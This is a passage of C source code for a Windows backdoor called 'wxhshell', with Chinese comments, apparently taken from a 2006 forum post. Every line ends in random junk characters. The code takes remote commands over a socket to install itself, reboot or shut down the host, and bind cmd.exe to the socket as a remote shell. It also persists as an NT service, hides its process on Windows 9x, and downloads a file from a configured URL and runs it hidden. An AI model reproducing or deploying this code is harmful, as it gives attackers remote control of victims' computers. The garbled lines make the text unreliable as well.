    switch(cmd[0]) { R$}Hv  
  D8w.r"ne  
  // 帮助 ?\4kV*/Cqz  
  case '?': { $Nvox<d0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )2W7>PY  
    break; -u~:Gd*l0  
  } MTE 1\,  
  // 安装 1=+S'_j  
  case 'i': { *dB3Gu{ +  
    if(Install()) 9b-4BON{P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %<Qv?`B  
    else &=%M("IlD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;A"i.:ZT  
    break; q2B'R   
    } 1n2Pr'|s  
  // 卸载 Bf^K?:r"V  
  case 'r': { ''9K(p6  
    if(Uninstall()) \Qnr0t@0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|exY>`w  
    else m|?1HCRXRI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V0,5c`H c  
    break; {Gfsiz6  
    } Xeis_  
  // 显示 wxhshell 所在路径 [=. iJ5,{2  
  case 'p': { 1GR|$E  
    char svExeFile[MAX_PATH]; &?@U_emLi  
    strcpy(svExeFile,"\n\r"); fRk'\jzT  
      strcat(svExeFile,ExeFile); %T<c8w}dP  
        send(wsh,svExeFile,strlen(svExeFile),0); #>CWee;  
    break; rjfWty%6pX  
    } mDwuJf8}  
  // 重启 8EiS\$O-  
  case 'b': { P%[ { 'u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VWXyN  
    if(Boot(REBOOT)) gQhYM7NP{5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c2GTN"  
    else { k?3mFWc  
    closesocket(wsh); qixnaiZ  
    ExitThread(0); _ !"[Zr  
    } [UdJ(cGf  
    break; t]3:vp5N]  
    } 3,#qt}8`  
  // 关机 S>HfyZ&Pc  
  case 'd': { }{J>kgr6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rf^IJY[  
    if(Boot(SHUTDOWN)) 5K|`RzZ`B$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5D^2 +`$/  
    else { d"ZsOq10D  
    closesocket(wsh); ,HE{&p2y  
    ExitThread(0); DeN2P  
    } ~:C`e4  
    break; 7we='L&R  
    } /8dRql-Ne  
  // 获取shell M>BVnB_,-  
  case 's': { ms&5Bq+9  
    CmdShell(wsh); KxJDAP  
    closesocket(wsh); /^si(BuC^*  
    ExitThread(0); 0yUn~'+(Sp  
    break; 'UCClj;?K  
  } j6*e^ B  
  // 退出 X"f]  
  case 'x': { vvG*DGL)qL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kx;la  
    CloseIt(wsh); $G /p[JG6-  
    break; {>ghX_m |  
    } n? ^oQX}.\  
  // 离开 l~1l~Gx_&n  
  case 'q': { =jG."o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )ZZ6 (O  
    closesocket(wsh); K[V#Pj9  
    WSACleanup(); @9]TjZd  
    exit(1); -Y"2c,~pH  
    break; gazX2P[D  
        } _>t6]?*  
  } ob)c0Pz  
  } eY:jVYG(  
&]KA%Db2  
  // 提示信息 ~^3U@( :  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BQgK<_  
} y?*Y=,"  
  } '2p,0Bk9i  
*'@T+$3s  
  return; ? a*yK8S  
} @C~gU@F  
+=kz".$  
// shell模块句柄 2-#&ktM%V  
int CmdShell(SOCKET sock) b u/GaE~  
{ )Ee`11  
STARTUPINFO si; =@;\9j  
ZeroMemory(&si,sizeof(si)); @# p{,L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c5eimA%`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8hX /~-H  
PROCESS_INFORMATION ProcessInfo; SmP&wNHQf  
char cmdline[]="cmd"; @Rqn&tA8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =#I/x=L:  
  return 0; KW36nY\7  
} ph7]*W-  
r;zG  
// 自身启动模式 7x$VH5jie#  
int StartFromService(void) Fy^8]u*Fu  
{ f F9=zrW  
typedef struct Is  ( Ji  
{ ^"J)^3j<  
  DWORD ExitStatus; {%Q+Pzl.  
  DWORD PebBaseAddress; 7a%)/ )<D  
  DWORD AffinityMask; / \k\HK8  
  DWORD BasePriority; u-wj\BU  
  ULONG UniqueProcessId; ^K'XlM`a  
  ULONG InheritedFromUniqueProcessId; #/>OW2Ny  
}   PROCESS_BASIC_INFORMATION; 2J6(TrQ  
s%l^zA(  
PROCNTQSIP NtQueryInformationProcess; 6l(HD([_p  
0ol*!@?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jxgs!B>   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?$H=n{iW  
J}VG4}L  
  HANDLE             hProcess; ]n4G]ybK%  
  PROCESS_BASIC_INFORMATION pbi; 5mI}IS|@  
5&Le?-/\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >Cglhsb:N  
  if(NULL == hInst ) return 0; Fau24-g  
MB?762 Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E$5A 1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h`MTB!o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]M&KUgz  
>yt8gw0J  
  if (!NtQueryInformationProcess) return 0; vq5o?$:-  
-h&KC{Xab  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rhwjsC6  
  if(!hProcess) return 0; GaOM|F'>  
6L&_(/{Uw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yT C+5_7  
? wZ`U Oi  
  CloseHandle(hProcess); WQltUaF  
pb|,rLNZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /E5>cqX4A  
if(hProcess==NULL) return 0; 3TnrPO1E  
o;{BI Q1  
HMODULE hMod; zHQSx7Ow 5  
char procName[255]; z7]GZF  
unsigned long cbNeeded; /baSAoh/e  
= _/XFN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /G!M\teeF  
39Tlt~Psz  
  CloseHandle(hProcess); 9h0Y">}`b  
%_ Vj'z~T  
if(strstr(procName,"services")) return 1; // 以服务启动 0-I L@Di`F  
=a_ >")  
  return 0; // 注册表启动 %2`.*]L  
}  D ~t  
WKONK;U+7  
// 主模块 }Gh95HwE  
int StartWxhshell(LPSTR lpCmdLine) O g!SFg*  
{ Y/,Cy0!  
  SOCKET wsl; N9BfjT}  
BOOL val=TRUE; DYW&6+%,hO  
  int port=0; ]R]%c*tA  
  struct sockaddr_in door; oYrg;]H  
1C<@QrT  
  if(wscfg.ws_autoins) Install(); '"]U+aIg  
(Ujry =f  
port=atoi(lpCmdLine); uwWKsZ4:ij  
\ H!Klp  
if(port<=0) port=wscfg.ws_port; / yTPb  
KWi P`h8  
  WSADATA data; G Y+li {  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t,308Z  
h=MEQ-3jg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   - ~`)V`@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 18G=j@k7  
  door.sin_family = AF_INET; RfzYoBN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9%^O-8!  
  door.sin_port = htons(port); _+}#  
wF$z ?L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J*+[?FXRL  
closesocket(wsl); } o@Dsx5  
return 1; &[y+WrGG  
} _.^`DP >  
fsUZG6  
  if(listen(wsl,2) == INVALID_SOCKET) { w'a3=_nW  
closesocket(wsl); UKp^TW1^  
return 1; S0!w]Ku  
} \JIyJ8FleC  
  Wxhshell(wsl); p?'&P!  
  WSACleanup(); x5eSPF1  
9}aEV 0 V|  
return 0; Q4F&#^02y  
 Jju^4  
} o&#!W(   
E{{Kz r2$  
// 以NT服务方式启动 i@#=Rxp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }sW%i#CV  
{ ibh,d.*~g  
DWORD   status = 0; ]Yk)A.y  
  DWORD   specificError = 0xfffffff; jAy 0k  
X v$"B-j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .g!K| c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZFRKzPc {V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 80 ckh  
  serviceStatus.dwWin32ExitCode     = 0; Oz Axnd\.N  
  serviceStatus.dwServiceSpecificExitCode = 0; 5 N:IH@  
  serviceStatus.dwCheckPoint       = 0; $Ahe Vps@@  
  serviceStatus.dwWaitHint       = 0; G]O5irsV  
V$3`y=8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [Lq9lw&   
  if (hServiceStatusHandle==0) return; ;={3H_{3  
].Xh=7&2{  
status = GetLastError(); 63Z^ k(  
  if (status!=NO_ERROR) !AN;  
{ #N;McF;W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nf)$K'/  
    serviceStatus.dwCheckPoint       = 0; PUErvL t  
    serviceStatus.dwWaitHint       = 0; /-Z}=  
    serviceStatus.dwWin32ExitCode     = status; e$o]f"(  
    serviceStatus.dwServiceSpecificExitCode = specificError; `j!XWh*$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); % !Ih=DZ  
    return; w[OUGn'  
  } @z>DJ>htN  
#O^%u,mJj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t:*1* ;  
  serviceStatus.dwCheckPoint       = 0; d8K|uEHVz  
  serviceStatus.dwWaitHint       = 0; Ix+eP|8F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4OFv#$[  
} 1h?QEZ,6a  
-lm)xpp1  
// 处理NT服务事件,比如:启动、停止 hRZYvZ3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8~y&"  \  
{ ew<_2Xy"<  
switch(fdwControl) cc0T b  
{ 'PWA  
case SERVICE_CONTROL_STOP: u9N /9  
  serviceStatus.dwWin32ExitCode = 0; NiD_v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'zOB!QqA`v  
  serviceStatus.dwCheckPoint   = 0; HYl~)O>  
  serviceStatus.dwWaitHint     = 0; k5)a|  
  { _fS4a134R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b*1yvkX5  
  } `N8t2yF  
  return; 1@n'6!]6O  
case SERVICE_CONTROL_PAUSE: vQ,<Ke+d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Q8*MJ3&V  
  break; V&7NN=  
case SERVICE_CONTROL_CONTINUE: Q hdG(`PY~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; izs=5  
  break; ojc.ykP$  
case SERVICE_CONTROL_INTERROGATE: YP>J'{?b*"  
  break; DMlr%)@ {  
}; Vllxv6/_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zxh<pd25Y  
} %F\.1\&eE  
7[I +1  
// 标准应用程序主函数 2"_5Yyb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Sps^Wl  
{ O_L>We@3E  
a[p$e?gka  
// 获取操作系统版本 2S-f5&o  
OsIsNt=GetOsVer(); #_WkV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bjAI7B8As  
3!{Tw6A8(  
  // 从命令行安装 t1wzSG  
  if(strpbrk(lpCmdLine,"iI")) Install(); \,'4eV  
w)&?9?~  
  // 下载执行文件 rE]Nr ;Ys  
if(wscfg.ws_downexe) { pog   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NS-0-o|4#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZsSW{ffZ77  
} FmSE ]et  
_qk yU)z  
if(!OsIsNt) { ld3H"p rR  
// 如果时win9x,隐藏进程并且设置为注册表启动 |AS~sjWSJ  
HideProc(); ae" o|Q  
StartWxhshell(lpCmdLine); A]ZQ?- L/  
} LW k/h 1  
else %+/Dv  
  if(StartFromService()) r+k&W  
  // 以服务方式启动 'x5p ?m  
  StartServiceCtrlDispatcher(DispatchTable); bo1J'pU  
else sf/m@425  
  // 普通方式启动 TbLU[(m-n  
  StartWxhshell(lpCmdLine); q3C  
4U~'Oa @p  
return 0; <KfR)7I$0a  
}
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只看该作者 1 发表于: 2006-10-10
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